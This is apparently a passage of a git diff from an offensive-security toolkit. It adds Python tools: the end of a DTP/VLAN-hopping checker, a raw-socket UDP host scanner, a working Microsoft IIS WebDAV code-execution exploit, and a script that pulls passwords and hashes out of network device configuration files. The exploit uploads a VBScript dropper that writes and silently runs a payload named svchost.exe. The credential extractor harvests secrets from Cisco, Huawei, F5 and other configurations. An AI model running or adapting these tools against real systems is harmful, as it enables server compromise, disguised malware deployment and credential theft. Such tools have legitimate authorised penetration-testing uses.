if stat == -1:
|
||||
print('[!] Something went wrong: Got invalid DTP packet.')
|
||||
print(' ' + '=' * 60)
|
||||
return False
|
||||
|
||||
elif stat == 2:
|
||||
print('[-] DTP disabled, Switchport in Access mode configuration')
|
||||
print('[-] VLAN Hopping via Switch Spoofing/trunking IS NOT possible.')
|
||||
print('\n\tSWITCH(config-if)# switchport mode access')
|
||||
|
||||
elif stat == 3:
|
||||
print('[+] DTP enabled, Switchport in default configuration')
|
||||
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
|
||||
print('\n\tSWITCH(config-if)# switchport dynamic desirable (or none)')
|
||||
|
||||
elif stat == 4 or stat == 0x84:
|
||||
print('[+] DTP enabled, Switchport in Dynamic Auto configuration')
|
||||
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
|
||||
print('\n\tSWITCH(config-if)# switchport mode dynamic auto')
|
||||
|
||||
elif stat == 0x81:
|
||||
print('[+] DTP enabled, Switchport in Trunk configuration')
|
||||
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
|
||||
print('\n\tSWITCH(config-if)# switchport mode trunk')
|
||||
|
||||
elif stat == 0xa5:
|
||||
print('[?] DTP enabled, Switchport in Trunk with 802.1Q encapsulation forced configuration')
|
||||
print('[?] VLAN Hopping via Switch Spoofing/trunking may be possible.')
|
||||
print('\n\tSWITCH(config-if)# switchport mode trunk 802.1Q')
|
||||
|
||||
elif stat == 0x42:
|
||||
print('[?] DTP enabled, Switchport in Trunk with ISL encapsulation forced configuration')
|
||||
print('[?] VLAN Hopping via Switch Spoofing/trunking may be possible.')
|
||||
print('\n\tSWITCH(config-if)# switchport mode trunk ISL')
|
||||
|
||||
showConfig(stat)
|
||||
print(' ' + '=' * 60)
|
||||
|
||||
return True
|
||||
|
||||
def packetCallback(pkt):
|
||||
print('[>] Packet: ' + pkt.summary())
|
||||
|
||||
def main(argv):
|
||||
if os.getuid() != 0:
|
||||
print('[!] This program must be run as root.')
|
||||
return False
|
||||
|
||||
load_contrib('dtp')
|
||||
|
||||
print('[*] Sniffing for DTP frames (Max count: {}, Max timeout: {} seconds)...'.format(
|
||||
config['count'], config['timeout']
|
||||
))
|
||||
|
||||
dtps = sniff(
|
||||
count = config['count'],
|
||||
filter = 'ether[20:2] == 0x2004',
|
||||
timeout = config['timeout'],
|
||||
prn = packetCallback,
|
||||
stop_filter = lambda x: x.haslayer(DTP)
|
||||
)
|
||||
|
||||
if len(dtps) == 0:
|
||||
print('[-] It seems like there was no DTP frames transmitted.')
|
||||
print('[-] VLAN Hopping may not be possible (unless Switch is in Non-negotiate state):')
|
||||
print('\n\tSWITCH(config-if)# switchport nonnegotiate\t/ or / ')
|
||||
print('\tSWITCH(config-if)# switchport mode access')
|
||||
return False
|
||||
|
||||
print('[*] Got {} DTP frames.\n'.format(
|
||||
len(dtps)
|
||||
))
|
||||
|
||||
success = False
|
||||
for dtp in dtps:
|
||||
if dtp.haslayer(DTP):
|
||||
if inspectPacket(dtp):
|
||||
success = True
|
||||
break
|
||||
|
||||
if not success:
|
||||
print('[-] Received possibly corrupted DTP frames! General failure.')
|
||||
|
||||
print('')
|
||||
return success
|
||||
|
||||
if __name__ == '__main__':
|
||||
main(sys.argv)
|
257
networks/host-scanner-via-udp.py
Normal file
257
networks/host-scanner-via-udp.py
Normal file
@ -0,0 +1,257 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
#
|
||||
# Simple UDP scanner determining whether scanned host replies with
|
||||
# ICMP Desitnation Unreachable upon receiving UDP packet on some high, closed port.
|
||||
#
|
||||
# Based on "Black Hat Python" book by Justin Seitz.
|
||||
#
|
||||
# Mariusz B.
|
||||
#
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import ctypes
|
||||
import struct
|
||||
import socket
|
||||
import threading
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
from netaddr import IPNetwork, IPAddress
|
||||
except ImportError:
|
||||
print('[!] No module named "netaddr". Please type:\n\tpip install netaddr')
|
||||
sys.exit(1)
|
||||
|
||||
DEBUG = False
|
||||
|
||||
# Ports that will be used during scanning, considered as most likely closed ports.
|
||||
SCAN_PORTS = range(65212, 65220)
|
||||
|
||||
HOSTS_UP = set()
|
||||
MAGIC_MESSAGE = '\xec\xcb\x5c\x6f\x41\xbe\x2e\x71\x9e\xd1'
|
||||
|
||||
|
||||
class ICMP(ctypes.Structure):
|
||||
_fields_ = [
|
||||
('type', ctypes.c_ubyte),
|
||||
('code', ctypes.c_ubyte),
|
||||
('chksum', ctypes.c_ushort),
|
||||
('unused', ctypes.c_ushort),
|
||||
('nexthop', ctypes.c_ushort)
|
||||
]
|
||||
|
||||
def __new__(self, sockBuff = None):
|
||||
return self.from_buffer_copy(sockBuff)
|
||||
|
||||
def __init__(self, sockBuff = None):
|
||||
self.types_map = {
|
||||
0:'Echo Reply',1:'Unassigned',2:'Unassigned ',3:'Destination Unreachable',
|
||||
4:'Source Quench',5:'Redirect',6:'Alternate Host Address',7:'Unassigned',
|
||||
8:'Echo',9:'Router Advertisement',10:'Router Solicitation',11:'Time Exceeded',
|
||||
12:'Parameter Problem',13:'Timestamp',14:'Timestamp Reply',15:'Information Request',
|
||||
16:'Information Reply',17:'Address Mask Request',18:'Address Mask Reply',
|
||||
30:'Traceroute',31:'Datagram Conversion Error',32:'Mobile Host Redirect',
|
||||
33:'IPv6 Where-Are-You',34:'IPv6 I-Am-Here',35:'Mobile Registration Request',
|
||||
36:'Mobile Registration Reply',37:'Domain Name Request',38:'Domain Name Reply',
|
||||
39:'SKIP',40:'Photuris'
|
||||
}
|
||||
|
||||
# Human readable protocol
|
||||
try:
|
||||
self.message = self.types_map[self.type]
|
||||
except:
|
||||
self.message = str('')
|
||||
|
||||
#
|
||||
# IPv4 packet structure definition in ctypes.
|
||||
#
|
||||
class IP(ctypes.Structure):
|
||||
_fields_ = [
|
||||
('ihl', ctypes.c_ubyte, 4),
|
||||
('version', ctypes.c_ubyte, 4),
|
||||
('tos', ctypes.c_ubyte),
|
||||
('len', ctypes.c_ushort),
|
||||
('id', ctypes.c_ushort),
|
||||
('offset', ctypes.c_ushort),
|
||||
('ttl', ctypes.c_ubyte),
|
||||
('protocol_num', ctypes.c_ubyte),
|
||||
('sum', ctypes.c_ushort),
|
||||
('src', ctypes.c_ulong),
|
||||
('dst', ctypes.c_ulong)
|
||||
]
|
||||
|
||||
def __new__(self, socketBuffer = None):
|
||||
return self.from_buffer_copy(socketBuffer)
|
||||
|
||||
def __init__(self, socketBuffer = None):
|
||||
# Map protocol constants to their names.
|
||||
self.protocol_map = {
|
||||
0:'HOPOPT',1:'ICMP',2:'IGMP',3:'GGP',4:'IPv4',5:'ST',6:'TCP',7:'CBT',8:'EGP',
|
||||
9:'IGP',10:'BBN-RCC-MON',11:'NVP-II',12:'PUP',13:'ARGUS',14:'EMCON',15:'XNET',16:'CHAOS',
|
||||
17:'UDP',18:'MUX',19:'DCN-MEAS',20:'HMP',21:'PRM',22:'XNS-IDP',23:'TRUNK-1',24:'TRUNK-2',
|
||||
25:'LEAF-1',26:'LEAF-2',27:'RDP',28:'IRTP',29:'ISO-TP4',30:'NETBLT',31:'MFE-NSP',32:'MERIT-INP',
|
||||
33:'DCCP',34:'3PC',35:'IDPR',36:'XTP',37:'DDP',38:'IDPR-CMTP',39:'TP++',40:'IL',
|
||||
41:'IPv6',42:'SDRP',43:'IPv6-Route',44:'IPv6-Frag',45:'IDRP',46:'RSVP',47:'GRE',48:'DSR',
|
||||
49:'BNA',50:'ESP',51:'AH',52:'I-NLSP',53:'SWIPE',54:'NARP',55:'MOBILE',56:'TLSP',
|
||||
57:'SKIP',58:'IPv6-ICMP',59:'IPv6-NoNxt',60:'IPv6-Opts',62:'CFTP',64:'SAT-EXPAK',
|
||||
65:'KRYPTOLAN',66:'RVD',67:'IPPC',69:'SAT-MON',70:'VISA',71:'IPCV',72:'CPNX',
|
||||
73:'CPHB',74:'WSN',75:'PVP',76:'BR-SAT-MON',77:'SUN-ND',78:'WB-MON',79:'WB-EXPAK',80:'ISO-IP',
|
||||
81:'VMTP',82:'SECURE-VMTP',83:'VINES',84:'TTP',84:'IPTM',85:'NSFNET-IGP',86:'DGP',87:'TCF',88:'EIGRP',
|
||||
89:'OSPFIGP',90:'Sprite-RPC',91:'LARP',92:'MTP',93:'AX.25',94:'IPIP',95:'MICP',96:'SCC-SP',
|
||||
97:'ETHERIP',98:'ENCAP',100:'GMTP',101:'IFMP',102:'PNNI',103:'PIM',104:'ARIS',
|
||||
105:'SCPS',106:'QNX',107:'A/N',108:'IPComp',109:'SNP',110:'Compaq-Peer',111:'IPX-in-IP',112:'VRRP',
|
||||
113:'PGM',115:'L2TP',116:'DDX',117:'IATP',118:'STP',119:'SRP',120:'UTI',
|
||||
121:'SMP',122:'SM',123:'PTP',124:'ISIS',125:'FIRE',126:'CRTP',127:'CRUDP',128:'SSCOPMCE',
|
||||
129:'IPLT',130:'SPS',131:'PIPE',132:'SCTP',133:'FC',134:'RSVP-E2E-IGNORE',135:'Mobility',136:'UDPLite',
|
||||
137:'MPLS-in-IP',138:'manet',139:'HIP',140:'Shim6',141:'WESP',142:'ROHC'
|
||||
}
|
||||
|
||||
# Human readable IP addresses.
|
||||
self.src_address = socket.inet_ntoa(struct.pack('<L', self.src))
|
||||
self.dst_address = socket.inet_ntoa(struct.pack('<L', self.dst))
|
||||
|
||||
# Human readable protocol
|
||||
try:
|
||||
self.protocol = self.protocol_map[self.protocol_num]
|
||||
except:
|
||||
self.protocol = str(self.protocol_num)
|
||||
|
||||
|
||||
def udpSend(subnet, message):
|
||||
time.sleep(5)
|
||||
if DEBUG: print('[.] Started spraying UDP packets across {}'.format(str(subnet)))
|
||||
|
||||
packets = 0
|
||||
ports = [x for x in SCAN_PORTS]
|
||||
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
|
||||
for ip in IPNetwork(subnet):
|
||||
try:
|
||||
for port in ports:
|
||||
sender.sendto(message, (str(ip), port))
|
||||
packets += 1
|
||||
except Exception, e:
|
||||
pass
|
||||
|
||||
print('[.] Spraying thread finished. Sent: {} packets on {} hosts.'.format(
|
||||
packets, len(IPNetwork(subnet))
|
||||
))
|
||||
|
||||
def processPackets(sniffer, subnet):
|
||||
global HOSTS_UP
|
||||
|
||||
# Read in single packet
|
||||
try:
|
||||
packetNum = 0
|
||||
|
||||
while True:
|
||||
packetPrint = ''
|
||||
packetNum += 1
|
||||
|
||||
packet = sniffer.recvfrom((1 << 16) - 1)[0]
|
||||
|
||||
# Create an IP header from the first 20 bytes of the buffer.
|
||||
ipHeader = IP(packet[0 : ctypes.sizeof(IP)])
|
||||
|
||||
timeNow = datetime.now().strftime('%H:%M:%S.%f')[:-3]
|
||||
|
||||
# Print out the protocol that was detected and the hosts.
|
||||
packetPrint += '[{:05} | {}] {} {} > {}'.format(
|
||||
packetNum, timeNow, ipHeader.protocol, ipHeader.src_address, ipHeader.dst_address,
|
||||
)
|
||||
|
||||
if ipHeader.protocol == 'ICMP':
|
||||
offset = ipHeader.ihl * 4
|
||||
icmpBuf = packet[offset : offset + ctypes.sizeof(ICMP)]
|
||||
icmpHeader = ICMP(icmpBuf)
|
||||
|
||||
packetPrint += ': ICMP Type: {} ({}), Code: {}\n'.format(
|
||||
icmpHeader.type, icmpHeader.message, icmpHeader.code
|
||||
)
|
||||
|
||||
if DEBUG:
|
||||
packetPrint += hexdump(packet)
|
||||
|
||||
# Destination unreachable
|
||||
if icmpHeader.code == 3 and icmpHeader.type == 3:
|
||||
if IPAddress(ipHeader.src_address) in IPNetwork(subnet):
|
||||
|
||||
# Make sure it contains our message
|
||||
if packet[- len(MAGIC_MESSAGE):] == MAGIC_MESSAGE:
|
||||
host = ipHeader.src_address
|
||||
if host not in HOSTS_UP:
|
||||
print('[+] HOST IS UP: {}'.format(host))
|
||||
HOSTS_UP.add(host)
|
||||
|
||||
if DEBUG:
|
||||
print(packetPrint)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
return
|
||||
|
||||
def hexdump(src, length = 16):
|
||||
result = []
|
||||
digits = 4 if isinstance(src, unicode) else 2
|
||||
num = len(src)
|
||||
|
||||
for i in range(0, num, length):
|
||||
s = src[i:i+length]
|
||||
hexa = b' '.join(['%0*X' % (digits, ord(x)) for x in s])
|
||||
text = b''.join([x if 0x20 <= ord(x) < 0x7f else b'.' for x in s])
|
||||
|
||||
result.append(b'%04x | %-*s | %s' % (i, length * (digits + 1), hexa, text))
|
||||
|
||||
return '\n'.join(result)
|
||||
|
||||
def main(argv):
|
||||
global BIND
|
||||
|
||||
if len(argv) < 3:
|
||||
print('Usage: ./udp-scan.py <bind-ip> <target-subnet>')
|
||||
sys.exit(1)
|
||||
|
||||
bindAddr = sys.argv[1]
|
||||
subnet = sys.argv[2]
|
||||
|
||||
sockProto = None
|
||||
if os.name == 'nt':
|
||||
sockProto = socket.IPPROTO_IP
|
||||
else:
|
||||
sockProto = socket.IPPROTO_ICMP
|
||||
|
||||
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, sockProto)
|
||||
if DEBUG: print('[.] Binding on {}:0'.format(bindAddr))
|
||||
sniffer.bind((bindAddr, 0))
|
||||
|
||||
# Include IP headers in the capture
|
||||
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
||||
|
||||
# In Windows, set up promiscous mode.
|
||||
if os.name == 'nt':
|
||||
try:
|
||||
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
|
||||
except socket.error, e:
|
||||
print('[!] Could not set promiscous mode ON: "{}"'.format(str(e)))
|
||||
|
||||
# Sending thread
|
||||
threading.Thread(target=udpSend, args=(subnet, MAGIC_MESSAGE)).start()
|
||||
|
||||
# Receiving thread
|
||||
recvThread = threading.Thread(target=processPackets, args=(sniffer, subnet))
|
||||
recvThread.daemon = True
|
||||
recvThread.start()
|
||||
|
||||
time.sleep(15)
|
||||
if DEBUG: print('[.] Breaking response wait loop.')
|
||||
|
||||
# Turn off promiscous mode
|
||||
if os.name == 'nt':
|
||||
try:
|
||||
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
|
||||
except socket.error, e:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
main(sys.argv)
|
99
networks/iis_webdav_upload.py
Normal file
99
networks/iis_webdav_upload.py
Normal file
@ -0,0 +1,99 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import requests
|
||||
import string
|
||||
import random
|
||||
import sys
|
||||
|
||||
|
||||
def randstring(N = 6):
|
||||
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) != 3:
|
||||
print 'Usage: webdav_upload.py <host> <inputfile>'
|
||||
sys.exit(0)
|
||||
|
||||
sc = ''
|
||||
with open(sys.argv[2], 'rb') as f:
|
||||
bytes = f.read()
|
||||
sc = 'sc = Chr(%d)' % ord(bytes[0])
|
||||
for i in range(1, len(bytes)):
|
||||
if i % 100 == 0:
|
||||
sc += '\r\nsc = sc'
|
||||
sc += '&Chr(%d)' % ord(bytes[i])
|
||||
|
||||
put_request = '''<%% @language="VBScript" %%>
|
||||
<%%
|
||||
Sub webdav_upload()
|
||||
Dim fs
|
||||
Set fs = CreateObject("Scripting.FileSystemObject")
|
||||
Dim str
|
||||
Dim tmp
|
||||
Dim tmpexe
|
||||
Dim sc
|
||||
%(shellcode)s
|
||||
Dim base
|
||||
Set tmp = fs.GetSpecialFolder(2)
|
||||
base = tmp & "\" & fs.GetTempName()
|
||||
fs.CreateFolder(base)
|
||||
tmpexe = base & "\" & "svchost.exe"
|
||||
Set str = fs.CreateTextFile(tmpexe, 2, 0)
|
||||
str.Write sc
|
||||
str.Close
|
||||
Dim shell
|
||||
Set shell = CreateObject("Wscript.Shell")
|
||||
shell.run tmpexe, 0, false
|
||||
End Sub
|
||||
|
||||
webdav_upload
|
||||
%%>''' % {'shellcode' : sc}
|
||||
|
||||
print '\n\tMicrosoft IIS WebDAV Write Code Execution exploit'
|
||||
print '\t(based on Metasploit HDM\'s <iis_webdav_upload_asp> implementation)'
|
||||
print '\tMariusz B. / mgeeky, 2016\n'
|
||||
|
||||
host = sys.argv[1]
|
||||
if not host.startswith('http'):
|
||||
host = 'http://' + host
|
||||
outname = '/file' + randstring(6) + '.asp;.txt'
|
||||
|
||||
print 'Step 0: Checking if file already exist: "%s"' % (host + outname)
|
||||
r = requests.get(host + outname)
|
||||
if r.status_code == requests.codes.ok:
|
||||
print 'Resource already exists. Exiting...'
|
||||
sys.exit(1)
|
||||
else:
|
||||
print '[*] File does not exists. That\'s good.'
|
||||
|
||||
print '\nStep 1: Upload file with improper name: "%s"' % (host + outname)
|
||||
print '\tSending %d bytes, this will take a while. Hold tight Captain!' % len(put_request)
|
||||
|
||||
r = requests.request('put', host + outname, data=put_request, headers={'Content-Type':'application/octet-stream'})
|
||||
|
||||
if r.status_code < 200 or r.status_code >= 300:
|
||||
print '[!] Upload failed. Status: ' + str(r.status_code)
|
||||
sys.exit(1)
|
||||
else:
|
||||
print '[+] File uploaded.'
|
||||
|
||||
newname = outname.replace(';.txt', '')
|
||||
print '\nStep 2: Moving file from: "%s" to "%s"' % (outname, newname)
|
||||
|
||||
r = requests.request('move', host + outname, headers={'Destination':newname})
|
||||
|
||||
if r.status_code < 200 or r.status_code >= 300:
|
||||
print '[!] Renaming operation failed. Status: ' + str(r.status_code)
|
||||
sys.exit(1)
|
||||
else:
|
||||
print '[+] File renamed, splendid my lord.'
|
||||
|
||||
print '\nStep 3: Executing resulted payload file (%s).' % (host + newname)
|
||||
r = requests.get(host + newname)
|
||||
|
||||
if r.status_code < 200 or r.status_code >= 300:
|
||||
print '[!] Execution failed. Status: ' + str(r.status_code)
|
||||
print '[!] Response: ' + r.text
|
||||
sys.exit(1)
|
||||
else:
|
||||
print '[+] File has been launched. Game over.'
|
362
networks/networkConfigurationCredentialsExtract.py
Normal file
362
networks/networkConfigurationCredentialsExtract.py
Normal file
@ -0,0 +1,362 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
#
|
||||
# Script intendend to sweep Cisco, Huawei and possibly other network devices
|
||||
# configuration files in order to extract plain and cipher passwords out of them.
|
||||
#
|
||||
# Mariusz B., mgeeky '18
|
||||
#
|
||||
|
||||
import re
|
||||
import os
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
#
|
||||
# In order to extend capabilities of this script, one can add custom entries
|
||||
# to the below dictionary. Contents are:
|
||||
# regexes = {
|
||||
# 'Technology' : {
|
||||
# 'Pattern Name' : r'pattern',
|
||||
# }
|
||||
# }
|
||||
#
|
||||
regexes = {
|
||||
'Cisco' : {
|
||||
'Enable secret' : r'enable secret \d+ \bcrypt',
|
||||
'Privileged command level password' : r'password \password',
|
||||
'Enable password' : r'enable password \password',
|
||||
'Enable password(2)' : r'enable password level \d+ \password',
|
||||
'Username/password' : r'username \name .*(?:password|secret \d) \password',
|
||||
'HSRP Authentication string' : r'standby \d+ authentication \password',
|
||||
'HSRP Authentication Text' : r'authentication text \password',
|
||||
'HSRP Authentication MD5 key-string': r'standby \d+ authentication md5 key-string \keystring',
|
||||
'OSPF Authentication string' : r'ip ospf authentication-key \password',
|
||||
'OSPF Authentication MD5 string' : r'ip ospf message-digest-key \d+ md5 \password',
|
||||
'EIGRP Key-string' : r'key-string \password',
|
||||
'BGP Neighbor Authentication' : r'neighbor (\ip) password 7 \hash',
|
||||
'AAA RADIUS Server Auth-Key' : r'server-private \ip auth-port \d+ acct-port \d+ key \d+ \hash',
|
||||
'NTP Authentication MD5 Key' : r'ntp authentication-key \d+ md5 \password \d',
|
||||
'TACACS-Server' : r'tacacs-server host \ip key \d \hash',
|
||||
'RADIUS Server Key' : r'key 7 \hash',
|
||||
'SNMP-Server User/Password' : r'snmp-server user \name [\w-]+ auth md5 0x\hash priv 0x\hash localizedkey',
|
||||
'FTP Server Username' : r'ip ftp username \name',
|
||||
'FTP Server Password' : r'ip ftp password \password',
|
||||
},
|
||||
|
||||
'Cisco ASA' : {
|
||||
'Username and Password' : r'username \name .*password \password',
|
||||
'LDAP Login password' : r'ldap-login-password \password',
|
||||
'SNMP-Server authentication' : r'snmp-server user \name snmp-read-only-group v\d engineID \hash encrypted auth md5 ([0-9a-fA-F\:]+) priv aes 256 ([0-9a-fA-F\:]+)',
|
||||
},
|
||||
|
||||
'Huawei' : {
|
||||
'VTY User interface' : r'set authentication password cipher \password',
|
||||
'Local User' : r'local-user \name password (?:cipher|irreversible-cipher) \password',
|
||||
'NTP Authentication' : r'ntp-service authentication-keyid \d+ authentication-mode (md5|hmac-sha256) (?:cipher)?\s*\password',
|
||||
'RADIUS Server Shared-Key' : r'radius-server shared-key cipher \password',
|
||||
'RADIUS Server Authorization' : r'radius-server authorization \ip shared-key cipher \password',
|
||||
'TACACS-Server Shared-Key Cipher' : r'hwtacacs-server shared-key cipher \password',
|
||||
'SNMP-Agent Authentication MD5' : r'snmp-agent [\w-]+ v\d \name authentication-mode md5 \password',
|
||||
'SNMP-Agent Authentication AES' : r'snmp-agent [\w-]+ v\d \name privacy-mode aes128 \password',
|
||||
},
|
||||
|
||||
'Checkpoint gateway' : {
|
||||
'SNMP User' : r'add snmp usm user \name security-level \w+ auth-pass-phrase-hashed \hash privacy-pass-phrase-hashed \hash privacy-protocol DES',
|
||||
'Expert Password Hash' : r'set expert-password-hash \bcrypt',
|
||||
'TACACS Authentication Key' : r'add aaa tacacs-servers priority \d+ server \ip key \password',
|
||||
'User password-hash' : r'set user \name password-hash \bcrypt',
|
||||
},
|
||||
|
||||
'F5 BIG-IP' : {
|
||||
'Username and password' : r'manage user table create \name -pw \password',
|
||||
'Configuration Sync Password' : r'redundancy config-sync sync-session-password set \password',
|
||||
},
|
||||
|
||||
'PaloAlto Proxy' : {
|
||||
'Active Directory Auth password' : r'<bind-password>([^<]+)</bind-password>',
|
||||
'NTLM Password' : r'<ntlm-password>([^<]+)</ntlm-password>',
|
||||
'Agent User key' : r'<agent-user-override-key>([^<]+)</agent-user-override-key>',
|
||||
'User Password Hash' : r'<phash>([^<]+)</phash>',
|
||||
},
|
||||
|
||||
'Others' : {
|
||||
'Other uncategorized password' : r'.* password \password.*',
|
||||
'Other uncategorized XML password' : r'password>([^<]+)<',
|
||||
'Other uncategorized authentication string' : r'.* authentication \password.*',
|
||||
'Other hash-key related' : r'.* key \hash',
|
||||
},
|
||||
}
|
||||
|
||||
config = {
|
||||
'verbose' : False,
|
||||
'debug' : False,
|
||||
'lines' : 0,
|
||||
'output' : 'normal',
|
||||
'csv_delimiter' : ';',
|
||||
'no_others' : False,
|
||||
}
|
||||
|
||||
markers = {
|
||||
'name' : r'([\w-]+|\"[\w-]+\")',
|
||||
'ip' : r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
|
||||
'domain' : r'(([a-zA-Z]{1})|([a-zA-Z]{1}[a-zA-Z]{1})|([a-zA-Z]{1}[0-9]{1})|([0-9]{1}[a-zA-Z]{1})|([a-zA-Z0-9][a-zA-Z0-9-_]{1,61}[a-zA-Z0-9]))\.([a-zA-Z]{2,6}|[a-zA-Z0-9-]{2,30}\.[a-zA-Z]{2,3})',
|
||||
'hash' : r'([a-fA-F0-9]{20,})',
|
||||
'bcrypt' : r'([\$\w\.\/]+)',
|
||||
'password': r'(?:\d\s+)?([^\s]+)',
|
||||
'keystring': r'([a-f0-9]+)',
|
||||
}
|
||||
|
||||
foundCreds = set()
|
||||
|
||||
maxTechnologyWidth = 0
|
||||
maxRegexpWidth = 0
|
||||
|
||||
results = set()
|
||||
|
||||
class Logger:
|
||||
@staticmethod
|
||||
def _out(x):
|
||||
if config['debug'] or config['verbose']:
|
||||
sys.stdout.write(x + '\n')
|
||||
|
||||
@staticmethod
|
||||
def dbg(x):
|
||||
if config['debug']:
|
||||
sys.stdout.write('[dbg] ' + x + '\n')
|
||||
|
||||
@staticmethod
|
||||
def out(x):
|
||||
Logger._out('[.] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def info(x):
|
||||
Logger._out('[?] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def err(x):
|
||||
Logger._out('[!] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def fail(x):
|
||||
Logger._out('[-] ' + x)
|
||||
|
||||
@staticmethod
|
||||
def ok(x):
|
||||
Logger._out('[+] ' + x)
|
||||
|
||||
def processRegex(inputRegex):
|
||||
for marker in markers:
|
||||
if '\\' + marker in inputRegex:
|
||||
inputRegex = inputRegex.replace('\\' + marker, markers[marker])
|
||||
|
||||
inputRegex = '^\\s*{}\\s*.*$'.format(inputRegex)
|
||||
return inputRegex
|
||||
|
||||
def matchLines(lines, technology):
|
||||
global foundCreds
|
||||
global results
|
||||
|
||||
num = 0
|
||||
|
||||
for rex in regexes[technology]:
|
||||
for idx in range(len(lines)):
|
||||
line = lines[idx].strip()
|
||||
|
||||
if line in foundCreds:
|
||||
continue
|
||||
|
||||
processedRex = processRegex(regexes[technology][rex])
|
||||
matched = re.match(processedRex, line, re.I)
|
||||
if matched:
|
||||
num += 1
|
||||
|
||||
foundCreds.add(line)
|
||||
creds = '", "'.join(matched.groups(1))
|
||||
|
||||
results.add((
|
||||
technology, rex, creds
|
||||
))
|
||||
|
||||
Logger._out('[+] {}: {}: {}'.format(
|
||||
technology, rex, creds
|
||||
))
|
||||
|
||||
if idx - config['lines'] >= 0:
|
||||
for i in range(idx - config['lines'], idx):
|
||||
Logger._out('[{:04}]\t\t{}'.format(i, lines[i]))
|
||||
|
||||
if config['lines'] != 0:
|
||||
Logger._out('[{:04}]==>\t{}'.format(idx, line))
|
||||
else:
|
||||
Logger._out('[{:04}]\t\t{}'.format(idx, line))
|
||||
|
||||
if idx + 1 + config['lines'] < len(lines):
|
||||
for i in range(idx + 1, idx + config['lines'] + 1):
|
||||
Logger._out('[{:04}]\t\t{}'.format(i, lines[i]))
|
||||
|
||||
Logger.dbg('\tRegex used: [ {} ]'.format(processedRex))
|
||||
return num
|
||||
|
||||
def processFile(file):
|
||||
lines = []
|
||||
|
||||
Logger.info('Processing file: "{}"'.format(file))
|
||||
with open(file, 'r') as f:
|
||||
lines = [ line.strip() for line in f.readlines()]
|
||||
|
||||
num = 0
|
||||
for technology in regexes:
|
||||
if technology == 'Others':
|
||||
continue
|
||||
|
||||
num0 = matchLines(lines, technology)
|
||||
num += num0
|
||||
|
||||
if not config['no_others']:
|
||||
num0 = matchLines(lines, 'Others')
|
||||
if num0 == 0:
|
||||
print('<none>')
|
||||
num += num0
|
||||
|
||||
return num
|
||||
|
||||
def processDir(dirname):
|
||||
num = 0
|
||||
for filename in os.listdir(dirname):
|
||||
newfilename = os.path.join(dirname, filename)
|
||||
if os.path.isdir(newfilename):
|
||||
num += processDir(newfilename)
|
||||
elif os.path.isfile(newfilename):
|
||||
num += processFile(newfilename)
|
||||
return num
|
||||
|
||||
def parseOptions(argv):
|
||||
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <file>')
|
||||
parser.add_argument('file', metavar='<file>', type=str, help='Config file or directory to process.')
|
||||
parser.add_argument('-C', '--lines', metavar='N', type=int, default=0, help='Display N lines around matched credential if verbose output is enabled.')
|
||||
parser.add_argument('-f', '--format', choices=['raw', 'normal', 'tabular', 'csv'], default='normal', help="Specifies output format: 'raw' (only hashes), 'tabular', 'normal', 'csv'. Default: 'normal'")
|
||||
parser.add_argument('-N', '--no-others', dest='no_others', action='store_true', help='Don\'t match "Others" category which is false-positives prone.')
|
||||
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
|
||||
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
|
||||
|
||||
if len(argv) < 2:
|
||||
parser.print_help()
|
||||
return False
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
config['verbose'] = args.verbose
|
||||
config['debug'] = args.debug
|
||||
config['lines'] = args.lines
|
||||
config['no_others'] = args.no_others
|
||||
|
||||
if args.format == 'raw':
|
||||
config['output'] = 'raw'
|
||||
elif args.format == 'tabular':
|
||||
config['output'] = 'tabular'
|
||||
elif args.format == 'csv':
|
||||
config['output'] = 'csv'
|
||||
else:
|
||||
config['output'] == 'normal'
|
||||
|
||||
return args
|
||||
|
||||
def printResults():
|
||||
global maxTechnologyWidth
|
||||
global maxRegexpWidth
|
||||
|
||||
# CSV Columns
|
||||
cols = ['technology', 'name', 'hashes']
|
||||
|
||||
def _print(technology, rex, creds):
|
||||
if config['output'] == 'tabular':
|
||||
print('[+] {0: <{width1}} {1:^{width2}}: "{2:}"'.format(
|
||||
technology, rex, creds,
|
||||
width1 = maxTechnologyWidth, width2 = maxRegexpWidth
|
||||
))
|
||||
elif config['output'] == 'raw':
|
||||
credstab = creds.split('", "')
|
||||
longest = ''
|
||||
|
||||
for passwd in credstab:
|
||||
if len(passwd) > len(longest):
|
||||
longest = passwd
|
||||
|
||||
print('{}'.format(
|
||||
passwd
|
||||
))
|
||||
elif config['output'] == 'csv':
|
||||
creds = '"{}"'.format(creds)
|
||||
rex = rex.replace(config['csv_delimiter'], ' ')
|
||||
#creds = creds.replace(config['csv_delimiter'], ' ')
|
||||
print(config['csv_delimiter'].join([technology, rex, creds]))
|
||||
else:
|
||||
print('[+] {}: {}: "{}"'.format(
|
||||
technology, rex, creds
|
||||
))
|
||||
|
||||
maxTechnologyWidth = 0
|
||||
maxRegexpWidth = 0
|
||||
|
||||
for result in results:
|
||||
technology, rex, creds = result
|
||||
if len(technology) > maxTechnologyWidth:
|
||||
maxTechnologyWidth = len(technology)
|
||||
|
||||
